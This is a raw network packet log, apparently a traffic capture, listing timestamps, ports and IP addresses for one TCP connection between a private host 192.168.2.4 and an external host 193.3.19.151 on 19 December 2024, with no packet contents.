Dec 19, 2024 08:11:59.986581087 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986605883 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986629009 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986702919 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986712933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986721039 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986748934 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986748934 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986776114 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986790895 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986795902 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986826897 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986850023 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986896038 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986903906 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986952066 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986964941 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.986979961 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.986994982 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987010002 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987087965 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987098932 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987138987 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987144947 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987174988 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987181902 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987207890 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987207890 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987216949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987251043 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987287998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987298012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987334967 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987366915 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987490892 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987499952 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987509966 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987530947 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987551928 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987648010 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987658024 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987667084 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987677097 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987693071 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987710953 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987725019 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987734079 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987766027 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987818956 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987844944 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987890959 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.987940073 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987950087 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.987977028 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988006115 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988128901 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988138914 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988154888 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988163948 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988177061 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988192081 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988210917 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988301992 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988312006 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988337994 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988348007 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988351107 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988358974 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988368034 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988368034 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988404036 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988454103 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988487005 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988502026 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988553047 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988590956 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988610983 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988634109 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988681078 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988682032 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988723040 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988759041 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988769054 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988822937 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988837004 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988846064 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988884926 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.988892078 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988900900 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.988938093 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989022017 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989032030 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989073992 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989161015 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989171028 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989208937 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989238977 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989252090 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989320040 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989330053 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989366055 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989430904 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989443064 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989451885 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989470005 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989500999 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989578009 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989588022 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989623070 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989639044 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989687920 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989697933 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989731073 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989803076 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989813089 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989820004 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989829063 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989862919 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989903927 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989912987 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989940882 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989945889 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.989949942 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.989984989 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990035057 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990042925 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990076065 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990113974 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990123034 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990144014 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990153074 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990156889 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990190029 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990304947 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990314007 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990320921 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990345955 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990360022 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990360975 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990394115 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990463018 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990473986 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990506887 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990590096 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990600109 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990638018 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990715981 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990756035 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990772963 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990830898 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990848064 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990858078 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990889072 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990897894 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990907907 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990931034 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990951061 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.990964890 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.990973949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991003990 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991010904 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991039991 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991060972 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991070032 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991080046 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991091013 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991099119 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991100073 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991130114 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991147995 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991194963 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991204023 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991225004 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991246939 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991250038 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991255999 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991293907 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991372108 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991380930 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991414070 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991477966 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991513014 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991559029 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991569042 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991578102 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991602898 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991622925 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991636038 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991645098 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991679907 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991765976 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991775990 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991811037 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991875887 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991885900 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.991918087 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.991978884 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992078066 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992088079 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992098093 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992126942 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992142916 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992151022 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992152929 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992185116 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992192030 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992228031 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992249012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992299080 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992309093 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992342949 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992410898 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992420912 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992455006 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992468119 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992506027 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992516041 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992544889 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992553949 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992564917 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992599010 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992624998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992635012 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992667913 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992669106 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992702961 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992769003 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992779016 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992788076 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992814064 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992832899 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992872000 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992882013 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992906094 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992933989 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992938995 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992950916 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992976904 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.992979050 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.992989063 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993026972 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993031979 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993076086 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993105888 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993119955 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993144035 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993161917 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993180990 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993195057 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993237972 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993247986 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993278980 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993297100 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993318081 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993328094 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993345976 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993376970 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993386030 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993421078 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993489027 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993498087 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993525028 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993547916 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993556023 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993566036 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993599892 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993841887 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993853092 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993860960 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993870974 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993889093 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993911982 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993920088 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993930101 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.993954897 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.993968964 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994117022 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994127989 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994165897 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994195938 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994204998 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994235992 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994250059 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994514942 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994558096 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994568110 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994612932 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994622946 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994631052 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994642019 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994642019 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994663954 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994669914 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994673014 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994688034 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994715929 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994739056 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994749069 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994759083 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994767904 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994775057 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994776964 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994786978 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994796991 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994805098 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994815111 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994822025 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994827986 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:11:59.994846106 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:11:59.994872093 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.025157928 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.025177002 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.025237083 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.033622980 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.033736944 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.073391914 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.073410034 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.073416948 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.073492050 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.073518991 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.073575020 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.090652943 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.090672016 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.090734005 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.090748072 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.090759039 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.090796947 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.090895891 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.090904951 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.090944052 CET	49740	15666	192.168.2.4	193.3.19.151
Dec 19, 2024 08:12:00.091074944 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091203928 CET	15666	49740	193.3.19.151	192.168.2.4
Dec 19, 2024 08:12:00.091213942 CET	15666	49740	193.3.19.151	192.168.2.4
